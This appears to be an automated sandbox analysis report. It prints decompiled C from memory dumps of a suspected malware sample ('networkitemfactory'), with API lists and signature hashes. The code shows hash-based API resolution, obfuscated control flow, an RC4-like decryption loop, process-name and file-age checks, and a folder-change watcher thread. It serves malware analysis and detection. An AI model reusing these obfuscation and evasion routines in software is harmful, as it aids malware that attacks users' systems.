						_t101 =  *(_t113 + _t96);
						 *(_t113 + _t96) =  *(_t121 + _t96) & 0x000000ff;
						 *(_t121 + _t96) = _t101;
						ShowWindow(0, 0); // executed
						_t103 = _a20;
						_t71 =  *(_a4 + _t103) & 0x000000ff ^  *(((_t101 & 0x000000ff) + ( *(_t113 + _t96) & 0x000000ff)) % _t119 + _t96);
						 *_t103 = _t71;
						_t66 =  &_a8;
						 *_t66 = _a8 - 1;
						_a20 =  &(_t103[1]);
						if( *_t66 == 0) {
							goto L12;
						}
						_t119 =  *0x43502c; // 0x6700
						_t100 = _v12;
					}
				}
				L12:
				return _t71;
			}

APIs

_malloc.LIBCMT ref: 004021A0

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00520000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

_malloc.LIBCMT ref: 004021A8
ShowWindow.USER32(00000000,00000000), ref: 00402280

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: _malloc$AllocateHeapShowWindow
String ID:
API String ID: 1029182426-0
Opcode ID: 414393e4c0a2ca2fefc8c6585836cd36396bea82b3bbe22be38456031dbfa9e9
Instruction ID: c59e8e181be4432f579234cb94a6521dd56dcdf708861cff6199d573f643a35f
Opcode Fuzzy Hash: 414393e4c0a2ca2fefc8c6585836cd36396bea82b3bbe22be38456031dbfa9e9
Instruction Fuzzy Hash: CE41C635D042559FCB15CF6AC8906AEFFF1AF9A310F1880AED894AB342C6759A41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 020B9C40, Relevance: 4.6, APIs: 3, Instructions: 95
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E020B9C40(void* __ebp) {
				short _v520;
				short _v1040;
				char _v1044;
				void* __ebx;
				void* _t7;
				intOrPtr* _t17;
				intOrPtr* _t43;
				void* _t46;
				void* _t49;

				_t46 = __ebp;
				_t7 = 0x1176b9c;
				goto L1;
				do {
					while(1) {
						L1:
						_t49 = _t7 - 0x1997100a;
						if(_t49 > 0) {
							break;
						}
						if(_t49 == 0) {
							_t17 =  *0x20be028;
							if(_t17 == 0) {
								_t17 = E020B3DD0(0, E020B3E70(0xbb51e2dc), 0x2bebef82, _t46);
								 *0x20be028 = _t17;
							}
							 *_t17(0,  &_v520, 0x104);
							_t7 = 0x1ea55ff7;
							continue;
						} else {
							if(_t7 == 0x1176b9c) {
								_t7 = 0x1997100a;
								continue;
							} else {
								if(_t7 == 0x3a02c02) {
									if( *0x20bdb84 == 0) {
										 *0x20bdb84 = E020B3DD0(0, E020B3E70(0xbb51e2dc), 0xebde84a3, _t46);
									}
									lstrcmpiW( &_v520,  &_v1040); // executed
									_t26 =  !=  ? 1 : 0;
									return  !=  ? 1 : 0;
								} else {
									goto L5;
								}
							}
						}
						L20:
					}
					if(_t7 != 0x1ea55ff7) {
						goto L5;
					} else {
						_v1044 = 0x104;
						if( *0x20bdef0 == 0) {
							 *0x20bdef0 = E020B3DD0(0, E020B3E70(0xbb51e2dc), 0x3a73900, _t46);
						}
						_t43 =  *0x20be33c;
						if(_t43 == 0) {
							_t43 = E020B3DD0(0, E020B3E70(0xbb51e2dc), 0xf01f7005, _t46);
							 *0x20be33c = _t43;
						}
						 *_t43(GetCurrentProcess(), 0,  &_v1040,  &_v1044); // executed
						_t7 = 0x3a02c02;
						goto L1;
					}
					goto L20;
					L5:
				} while (_t7 != 0x1b4988ea);
				return 0;
				goto L20;
			}

0x020b9c40
0x020b9c46
0x020b9c4e
0x020b9c50
0x020b9c50
0x020b9c50
0x020b9c50
0x020b9c55
0x00000000
0x00000000
0x020b9c57
0x020b9c85
0x020b9c8c
0x020b9c9f
0x020b9ca4
0x020b9ca4
0x020b9cb8
0x020b9cba
0x00000000
0x020b9c59
0x020b9c5e
0x020b9c7e
0x00000000
0x020b9c60
0x020b9c65
0x020b9d42
0x020b9d5a
0x020b9d5a
0x020b9d6c
0x020b9d76
0x020b9d83
0x00000000
0x00000000
0x00000000
0x020b9c65
0x020b9c5e
0x00000000
0x020b9c57
0x020b9cc6
0x00000000
0x020b9cc8
0x020b9cce
0x020b9cd8
0x020b9cf2
0x020b9cf2
0x020b9cf8
0x020b9d00
0x020b9d18
0x020b9d1a
0x020b9d1a
0x020b9d2f
0x020b9d31
0x00000000
0x020b9d31
0x00000000
0x020b9c6b
0x020b9c6b
0x020b9c7d
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000104), ref: 020B9D2C
QueryFullProcessImageNameW.KERNELBASE(00000000), ref: 020B9D2F
lstrcmpiW.KERNELBASE(?,?), ref: 020B9D6C

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: Process$CurrentFullImageNameQuerylstrcmpi
String ID:
API String ID: 3605714105-0
Opcode ID: ce6dfbb5a5963ca689cfd712ff8233d708845cafb4ce8ea52a6de266f6b6c576
Instruction ID: 251563fd91ac65461b69fc063cef794eaa5dee8f294caa3671fc80ce148679f2
Opcode Fuzzy Hash: ce6dfbb5a5963ca689cfd712ff8233d708845cafb4ce8ea52a6de266f6b6c576
Instruction Fuzzy Hash: 5E31C4757043088BE777AB6494957EA32D7AF94350F10082AE629CB380DA74EC44AFA2

Uniqueness

Uniqueness Score: -1.00%

Function 020B5430, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E020B5430(void* __ebx, void* __ebp) {
				char _v520;
				short _v528;
				long _v532;
				intOrPtr* _t7;
				short* _t10;
				WCHAR** _t28;

				_t27 = __ebp;
				_t16 = __ebx;
				_t7 =  *0x20be19c;
				 *_t28 = 0;
				if(_t7 == 0) {
					_t7 = E020B3DD0(__ebx, E020B3E70(0xbb51e2dc), 0x414e6c3b, __ebp);
					 *0x20be19c = _t7;
				}
				_push(0x104);
				_push( &_v520);
				if( *_t7() != 0) {
					_t10 =  &_v528;
					if(_v528 != 0) {
						while( *_t10 != 0x5c) {
							_t10 = _t10 + 2;
							if( *_t10 != 0) {
								continue;
							} else {
							}
							goto L9;
						}
						 *((short*)(_t10 + 2)) = 0;
					}
					L9:
					if( *0x20bdd4c == 0) {
						 *0x20bdd4c = E020B3DD0(_t16, E020B3E70(0xbb51e2dc), 0xa8c6cb77, _t27);
					}
					GetVolumeInformationW( &_v528, 0, 0,  &_v532, 0, 0, 0, 0); // executed
				}
				return _v532;
			}

0x020b5430
0x020b5430
0x020b5436
0x020b543b
0x020b5444
0x020b5457
0x020b545c
0x020b545c
0x020b5461
0x020b546a
0x020b546f
0x020b5477
0x020b547b
0x020b5480
0x020b5486
0x020b548d
0x00000000
0x00000000
0x020b548f
0x00000000
0x020b548d
0x020b5493
0x020b5493
0x020b5497
0x020b549e
0x020b54b6
0x020b54b6
0x020b54d1
0x020b54d1
0x020b54dc

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 020B54D1

Strings

;lNA, xrefs: 020B5450

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: ;lNA
API String ID: 2039140958-679641461
Opcode ID: bb098b73669d163445d43c1fd115ed7cdb394d21ece05645c5e3a414bb8da774
Instruction ID: 8a5f38bd44d82cc4ff57d62f0b4f4e8357cb71d752b103093a56e15a433b4cbe
Opcode Fuzzy Hash: bb098b73669d163445d43c1fd115ed7cdb394d21ece05645c5e3a414bb8da774
Instruction Fuzzy Hash: C51182306503009BE336DB64CC52BF676E1BF85708F9488ADE6559B2C0FBB8D844DB52

Uniqueness

Uniqueness Score: -1.00%

Function 020B5B30, Relevance: 3.1, APIs: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E020B5B30(void* __ecx, void* __edx, void* __ebp) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __ebx;
				intOrPtr* _t3;
				void* _t6;
				intOrPtr* _t9;
				void* _t20;
				void* _t21;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t41;

				_t42 = __ebp;
				_t3 =  *0x20bddc8;
				_t20 = __ecx;
				_t38 = __edx;
				if(_t3 == 0) {
					_t3 = E020B3DD0(_t20, E020B3E70(0xbb51e2dc), 0x298e8809, __ebp);
					 *0x20bddc8 = _t3;
				}
				_t40 =  *_t3();
				if( *0x20bdcf0 == 0) {
					 *0x20bdcf0 = E020B3DD0(_t20, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t42);
				}
				_t6 = RtlAllocateHeap(_t40, 8, 0x40000); // executed
				_t41 = _t6;
				if(_t41 == 0) {
					return 0;
				} else {
					_push(_t41);
					_push(_v0);
					_push(_v4);
					_t21 = E020B57F0(_t20, _t38);
					_t9 =  *0x20bddc8;
					if(_t9 == 0) {
						_t9 = E020B3DD0(_t21, E020B3E70(0xbb51e2dc), 0x298e8809, _t42);
						 *0x20bddc8 = _t9;
					}
					_t39 =  *_t9();
					if( *0x20bdbec == 0) {
						 *0x20bdbec = E020B3DD0(_t21, E020B3E70(0xbb51e2dc), 0x632f374, _t42);
					}
					RtlFreeHeap(_t39, 0, _t41); // executed
					return _t21;
				}
			}

0x020b5b30
0x020b5b30
0x020b5b36
0x020b5b3a
0x020b5b3e
0x020b5b51
0x020b5b56
0x020b5b56
0x020b5b5d
0x020b5b66
0x020b5b7e
0x020b5b7e
0x020b5b8b
0x020b5b8d
0x020b5b91
0x020b5c07
0x020b5b93
0x020b5b93
0x020b5b94
0x020b5b9c
0x020b5ba5
0x020b5baa
0x020b5bb1
0x020b5bc4
0x020b5bc9
0x020b5bc9
0x020b5bd0
0x020b5bd9
0x020b5bf1
0x020b5bf1
0x020b5bfa
0x020b5c01
0x020b5c01

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00040000), ref: 020B5B8B
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 020B5BFA

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID:
API String ID: 2488874121-0
Opcode ID: 53c0c17b24b9daf6f9aae8058756e415435d962dad53a0602a5f5e1ee6b139c4
Instruction ID: d64f0fe99d04ff38c4a4c9431d9df66a7d45d034e27b60f76b661e77e948fa41
Opcode Fuzzy Hash: 53c0c17b24b9daf6f9aae8058756e415435d962dad53a0602a5f5e1ee6b139c4
Instruction Fuzzy Hash: 2C118E64B413019BA77BABB96C50BEB66DBBFC5390F240879F514CB380EA74CC116B91

Uniqueness

Uniqueness Score: -1.00%

Function 020B99E0, Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E020B99E0() {
				short _v520;
				void* _v524;
				void* _v528;
				char _v532;
				void* _t11;
				intOrPtr _t12;
				intOrPtr* _t14;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t29;
				intOrPtr _t32;
				intOrPtr* _t36;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t45;
				intOrPtr* _t59;
				intOrPtr _t63;
				void* _t79;
				void* _t80;
				void* _t82;

				_t79 = _v528;
				_t11 = 0x22f2bd75;
				while(1) {
					_t82 = _t11 - 0x23a0a70b;
					if(_t82 > 0) {
						goto L20;
					}
					L2:
					if(_t82 == 0) {
						if(E020B9C40(_t80) == 0) {
							_t29 =  *0x20bdc28; // 0x0
							if(_t29 == 0) {
								_t29 = E020B3DD0(_t45, E020B3E70(0xbb51e2dc), 0xea5feb8b, _t80);
								 *0x20bdc28 = _t29;
							}
							 *_t29(_t79);
							L19:
							_t11 = 0x2d20085c;
						} else {
							_t59 =  *0x20be078; // 0x0
							if(_t59 == 0) {
								_t59 = E020B3DD0(_t45, E020B3E70(0xbb51e2dc), 0x3177b0b4, _t80);
								 *0x20be078 = _t59;
							}
							_t32 =  *0x20be36c; // 0x53be38
							 *_t59( *((intOrPtr*)(_t32 + 0x40)));
							_t11 = 0x4875501;
						}
						continue;
					} else {
						if(_t11 == 0x4875501) {
							_t36 =  *0x20bdb80; // 0x0
							if(_t36 == 0) {
								_t36 = E020B3DD0(_t45, E020B3E70(0xbb51e2dc), 0x7fee42b6, _t80);
								 *0x20bdb80 = _t36;
							}
							 *_t36(_t79);
							L37:
							return 0;
						} else {
							if(_t11 == 0x19f03bdd) {
								_t39 =  *0x20be028;
								if(_t39 == 0) {
									_t39 = E020B3DD0(_t45, E020B3E70(0xbb51e2dc), 0x2bebef82, _t80);
									 *0x20be028 = _t39;
								}
								 *_t39(0,  &_v520, 0x104);
								_t41 =  *0x20bdfcc;
								if(_t41 == 0) {
									_t41 = E020B3DD0(_t45, E020B3E70(0x755194fe), 0x1fe39dbe, _t80);
									 *0x20bdfcc = _t41;
								}
								 *((short*)( *_t41( &_v532))) = 0;
								_t11 = 0x3a6d57a2;
								continue;
							} else {
								if(_t11 == 0x22f2bd75) {
									_t11 = 0x19f03bdd;
									continue;
									do {
										while(1) {
											_t82 = _t11 - 0x23a0a70b;
											if(_t82 > 0) {
												goto L20;
											}
											goto L2;
										}
										goto L20;
									} while (_t11 != 0x378c9d4d);
									return 0;
								}
							}
						}
					}
					L38:
					L20:
					if(_t11 == 0x2d20085c) {
						_t12 =  *0x20be36c; // 0x53be38
						_v528 =  *(_t12 + 0x40);
						_t14 =  *0x20be2bc;
						_v524 = _t79;
						if(_t14 == 0) {
							_t14 = E020B3DD0(_t45, E020B3E70(0xbb51e2dc), 0x54c7591c, _t80);
							 *0x20be2bc = _t14;
						}
						_push(0xffffffff);
						_push(0);
						_push( &_v528);
						_push(2);
						if( *_t14() == 0) {
							goto L37;
						} else {
							_t11 =  ==  ? 0x23a0a70b : 0x2d20085c;
							continue;
						}
					} else {
						if(_t11 != 0x3a6d57a2) {
							goto L28;
						} else {
							if( *0x20be1a8 == 0) {
								 *0x20be1a8 = E020B3DD0(_t45, E020B3E70(0xbb51e2dc), 0x194c4dc9, _t80);
							}
							_t21 = FindFirstChangeNotificationW( &_v520, 0, 1); // executed
							_t79 = _t21;
							if(E020B9C40(_t80) == 0) {
								goto L19;
							} else {
								_t23 =  *0x20be078; // 0x0
								if(_t23 == 0) {
									_t23 = E020B3DD0(_t45, E020B3E70(0xbb51e2dc), 0x3177b0b4, _t80);
									 *0x20be078 = _t23;
								}
								_t63 =  *0x20be36c; // 0x53be38
								 *_t23( *((intOrPtr*)(_t63 + 0x40)));
								_t11 = 0x4875501;
							}
							continue;
						}
					}
					goto L38;
				}
			}

0x020b99e7
0x020b99eb
0x020b9a00
0x020b9a00
0x020b9a05
0x00000000
0x00000000
0x020b9a0b
0x020b9a0b
0x020b9aa8
0x020b9ae6
0x020b9aed
0x020b9b00
0x020b9b05
0x020b9b05
0x020b9b0b
0x020b9b0d
0x020b9b0d
0x020b9aaa
0x020b9aaa
0x020b9ab2
0x020b9aca
0x020b9acc
0x020b9acc
0x020b9ad2
0x020b9ada
0x020b9adc
0x020b9adc
0x00000000
0x020b9a11
0x020b9a16
0x020b9c0b
0x020b9c12
0x020b9c25
0x020b9c2a
0x020b9c2a
0x020b9c30
0x020b9c33
0x020b9c3c
0x020b9a1c
0x020b9a21
0x020b9a35
0x020b9a3c
0x020b9a4f
0x020b9a54
0x020b9a54
0x020b9a65
0x020b9a67
0x020b9a6e
0x020b9a81
0x020b9a86
0x020b9a86
0x020b9a94
0x020b9a97
0x00000000
0x020b9a23
0x020b9a28
0x020b9a2e
0x020b9a33
0x020b9a00
0x020b9a00
0x020b9a00
0x020b9a05
0x00000000
0x00000000
0x00000000
0x020b9a05
0x00000000
0x020b9a00
0x020b9bb1
0x020b9bb1
0x020b9a28
0x020b9a21
0x020b9a16
0x00000000
0x020b9b17
0x020b9b1c
0x020b9bb4
0x020b9bbc
0x020b9bc0
0x020b9bc5
0x020b9bcb
0x020b9bde
0x020b9be3
0x020b9be3
0x020b9be8
0x020b9bea
0x020b9bf0
0x020b9bf1
0x020b9bf9
0x00000000
0x020b9bfb
0x020b9c03
0x00000000
0x020b9c03
0x020b9b22
0x020b9b27
0x00000000
0x020b9b29
0x020b9b30
0x020b9b48
0x020b9b48
0x020b9b56
0x020b9b58
0x020b9b61
0x00000000
0x020b9b63
0x020b9b63
0x020b9b6a
0x020b9b7d
0x020b9b82
0x020b9b82
0x020b9b87
0x020b9b90
0x020b9b92
0x020b9b92
0x00000000
0x020b9b61
0x020b9b27
0x00000000
0x020b9b1c

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 020B9B56

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID:
API String ID: 1065410024-0
Opcode ID: 8ba0cd93520dbf17f6283462b381a98bd78e543273c7044211dbd6df7e728dbf
Instruction ID: 49d209478fa263a8cd80c0a60d8a80fa6eeef91dd204000b8574a52b5b062476
Opcode Fuzzy Hash: 8ba0cd93520dbf17f6283462b381a98bd78e543273c7044211dbd6df7e728dbf
Instruction Fuzzy Hash: 3F5189347543049BEB3B9B7494A4AEA32D7BF85344B244869E615DB390EA34DC40EF92

Uniqueness

Uniqueness Score: -1.00%

Function 020B8330, Relevance: 1.7, APIs: 1, Instructions: 160
fileCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E020B8330(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				signed int _v576;
				struct _SECURITY_ATTRIBUTES* _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr* _t49;
				intOrPtr* _t51;
				intOrPtr* _t54;
				void* _t62;
				intOrPtr* _t67;
				void* _t69;
				void* _t71;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;
				intOrPtr _t93;
				void* _t95;
				void* _t96;
				signed int _t97;
				intOrPtr _t99;
				void* _t100;
				void* _t103;

				_t100 = __ebp;
				_t75 = __ebx;
				_v588 = 0xe3c6;
				_t97 = 0x15db38c2;
				_v588 = _v588 * 0x2c;
				_v588 = _v588 ^ 0x00272688;
				_v576 = 0x6801;
				_v576 = _v576 >> 4;
				_v576 = _v576 ^ 0x00000681;
				_t96 = _v588;
				_v592 = 0x14c9;
				_v592 = _v592 << 7;
				_v592 = _v592 * 0x49;
				_v592 = _v592 ^ 0x02f6a883;
				_v596 = 0xb2d6;
				_v596 = _v596 << 0x10;
				_v596 = _v596 + 0x78e;
				_v596 = _v596 ^ 0xb2d6078e;
				goto L1;
				do {
					while(1) {
						L1:
						_t103 = _t97 - 0x1de4fdf5;
						if(_t103 > 0) {
							break;
						}
						if(_t103 == 0) {
							_t51 =  *0x20be348;
							__eflags = _t51;
							if(_t51 == 0) {
								_t73 = E020B3E70(0xbb51e2dc);
								_t93 = 0xdd2e2440;
								_t51 = E020B3DD0(_t75, _t73, 0xdd2e2440, _t100);
								 *0x20be348 = _t51;
							}
							 *_t51(_t96, 0,  &_v564, 0x28);
							asm("sbb esi, esi");
							_t54 =  *0x20bde38;
							_t97 = (_t97 & 0xdb3de512) + 0x39234310;
							__eflags = _t54;
							if(_t54 == 0) {
								_t72 = E020B3E70(0xbb51e2dc);
								_t93 = 0x76fc23ac;
								_t54 = E020B3DD0(_t75, _t72, 0x76fc23ac, _t100);
								 *0x20bde38 = _t54;
							}
							 *_t54(_t96);
							goto L15;
						} else {
							if(_t97 == 0xb7daed6) {
								_v588 = 0xa8c00;
								_v584 = 0;
								_v604 = E020BB510(_v588, _v584, 0x989680, 0);
								_v600 = _t93;
								_t95 = _v588 - _v564;
								_t99 = _v604;
								asm("sbb ecx, [esp+0x3c]");
								__eflags = _v584 - _v600;
								if(__eflags < 0) {
									goto L16;
								} else {
									if(__eflags > 0) {
										L29:
										return 1;
									} else {
										__eflags = _t95 - _t99;
										if(_t95 < _t99) {
											goto L16;
										} else {
											goto L29;
										}
									}
								}
							} else {
								if(_t97 == 0x14612822) {
									_t67 =  *0x20bdd8c;
									__eflags = _t67;
									if(_t67 == 0) {
										_t71 = E020B3E70(0xbb51e2dc);
										_t93 = 0xf40b8901;
										_t67 = E020B3DD0(_t75, _t71, 0xf40b8901, _t100);
										 *0x20bdd8c = _t67;
									}
									 *_t67( &_v572);
									_t97 = 0xb7daed6;
									continue;
								} else {
									if(_t97 != 0x15db38c2) {
										goto L15;
									} else {
										_t97 = 0x27a0a68a;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t97 - 0x27a0a68a;
					if(_t97 == 0x27a0a68a) {
						_t49 =  *0x20be028;
						__eflags = _t49;
						if(_t49 == 0) {
							_t74 = E020B3E70(0xbb51e2dc);
							_t93 = 0x2bebef82;
							_t49 = E020B3DD0(_t75, _t74, 0x2bebef82, _t100);
							 *0x20be028 = _t49;
						}
						 *_t49(0,  &_v524, 0x104);
						_t97 = 0x3b13cdbe;
						goto L1;
					} else {
						__eflags = _t97 - 0x3b13cdbe;
						if(_t97 != 0x3b13cdbe) {
							goto L15;
						} else {
							__eflags =  *0x20bded8;
							if( *0x20bded8 == 0) {
								_t69 = E020B3E70(0xbb51e2dc);
								_t93 = 0xe04f22b3;
								 *0x20bded8 = E020B3DD0(_t75, _t69, 0xe04f22b3, _t100);
							}
							_t62 = CreateFileW( &_v524, _v588, _v576, 0, _v592, _v596, 0); // executed
							_t96 = _t62;
							__eflags = _t96 - 0xffffffff;
							if(_t96 == 0xffffffff) {
								break;
							} else {
								_t97 = 0x1de4fdf5;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t97 - 0x39234310;
				} while (_t97 != 0x39234310);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,B2D6078E,00000000,?,?,?,?,3444DC2F), ref: 020B84EA

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b251ebcccdd6cec0b8598ba68f10100e0da0f55960df41582e37052c594520d4
Instruction ID: bf3f896ba517d13da910df30b07802a5d0d23e0218774ad09f236f89f977f894
Opcode Fuzzy Hash: b251ebcccdd6cec0b8598ba68f10100e0da0f55960df41582e37052c594520d4
Instruction Fuzzy Hash: DE51BE71A043019BD72ADF68D4846AFB7E6AF84744F10891DF4A59B2A0DB74DC449F82

Uniqueness

Uniqueness Score: -1.00%

Function 02091D10, Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.518992835.0000000002091000.00000020.00000001.sdmp, Offset: 02091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2091000_networkitemfactory.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b11578d8486911a57d559dd173a398af9847caf5ab36d4af94a084634ee3432c
Instruction ID: 71ef64102a4c7498fe11649175ba58e752edc86d5518a7d18628ebc7edd8e7e2
Opcode Fuzzy Hash: b11578d8486911a57d559dd173a398af9847caf5ab36d4af94a084634ee3432c
Instruction Fuzzy Hash: 9E41E974B01209EFEB45CF48C494BAAB7B6FB88314F14C159E81A5F355C775EA82EB80

Uniqueness

Uniqueness Score: -1.00%

Function 020B9D90, Relevance: 1.6, APIs: 1, Instructions: 88
threadCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E020B9D90(void* __ebx) {
				void* _t7;
				intOrPtr* _t8;
				intOrPtr _t9;
				void* _t12;
				intOrPtr* _t19;
				intOrPtr* _t21;
				void* _t25;
				intOrPtr _t27;
				intOrPtr _t30;
				void* _t41;
				void* _t42;

				_t25 = __ebx;
				_t7 = 0x36cc1b41;
				L1:
				while(_t7 != 0x26bdc705) {
					if(_t7 == 0x341ca7a8) {
						if( *0x20bdb9c == 0) {
							 *0x20bdb9c = E020B3DD0(_t25, E020B3E70(0xbb51e2dc), 0x5054bbca, _t42);
						}
						_t12 = CreateThread(0, 0, E020B99E0, 0, 0, 0);
						_t30 =  *0x20be36c; // 0x53be38
						 *(_t30 + 0x3c) = _t12;
						goto L18;
					} else {
						if(_t7 != 0x36cc1b41) {
							if(_t7 != 0x21cf5378) {
								continue;
							} else {
								return 0 | _t30 != 0x00000000;
							}
						} else {
							_t19 =  *0x20bddc8;
							if(_t19 == 0) {
								_t19 = E020B3DD0(_t25, E020B3E70(0xbb51e2dc), 0x298e8809, _t42);
								 *0x20bddc8 = _t19;
							}
							_t41 =  *_t19();
							_t21 =  *0x20bdcf0;
							if(_t21 == 0) {
								_t21 = E020B3DD0(_t25, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t42);
								 *0x20bdcf0 = _t21;
							}
							_t30 =  *_t21(_t41, 8, 0x44);
							 *0x20be36c = _t30;
							if(_t30 == 0) {
								L18:
								return 0 | _t30 != 0x00000000;
							} else {
								_t7 = 0x26bdc705;
								continue;
							}
						}
					}
				}
				_t8 =  *0x20bdf6c;
				if(_t8 == 0) {
					_t8 = E020B3DD0(_t25, E020B3E70(0xbb51e2dc), 0x22573595, _t42);
					 *0x20bdf6c = _t8;
				}
				_t9 =  *_t8(0, 0, 0, 0);
				_t27 =  *0x20be36c; // 0x53be38
				 *((intOrPtr*)(_t27 + 0x40)) = _t9;
				_t7 = 0x341ca7a8;
				goto L1;
			}

0x020b9d90
0x020b9d96
0x00000000
0x020b9da0
0x020b9db0
0x020b9e86
0x020b9e9e
0x020b9e9e
0x020b9eb2
0x020b9eb4
0x020b9eba
0x00000000
0x020b9db6
0x020b9dbb
0x020b9e2f
0x00000000
0x020b9e35
0x020b9e3d
0x020b9e3d
0x020b9dbd
0x020b9dbd
0x020b9dc4
0x020b9dd7
0x020b9ddc
0x020b9ddc
0x020b9de3
0x020b9de5
0x020b9dec
0x020b9dff
0x020b9e04
0x020b9e04
0x020b9e10
0x020b9e12
0x020b9e1a
0x020b9ebd
0x020b9ec5
0x020b9e20
0x020b9e20
0x00000000
0x020b9e20
0x020b9e1a
0x020b9dbb
0x020b9db0
0x020b9e3e
0x020b9e45
0x020b9e58
0x020b9e5d
0x020b9e5d
0x020b9e6a
0x020b9e6c
0x020b9e72
0x020b9e75
0x00000000

APIs

CreateThread.KERNELBASE(00000000,00000000,020B99E0,00000000,00000000,00000000), ref: 020B9EB2

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 15117e2470decba814a11d877b40dd96e319a938901b85ccf63b4b12a1b408e1
Instruction ID: a1c34d671ffce6ceab1fc72008c35ed170dca25389c22d07ac35011bf75c41c8
Opcode Fuzzy Hash: 15117e2470decba814a11d877b40dd96e319a938901b85ccf63b4b12a1b408e1
Instruction Fuzzy Hash: E0218534B443059BE7B79B759862BE972D2BF81640F204829E615DF3C0EB78DC11AF45

Uniqueness

Uniqueness Score: -1.00%

Function 020B4620, Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

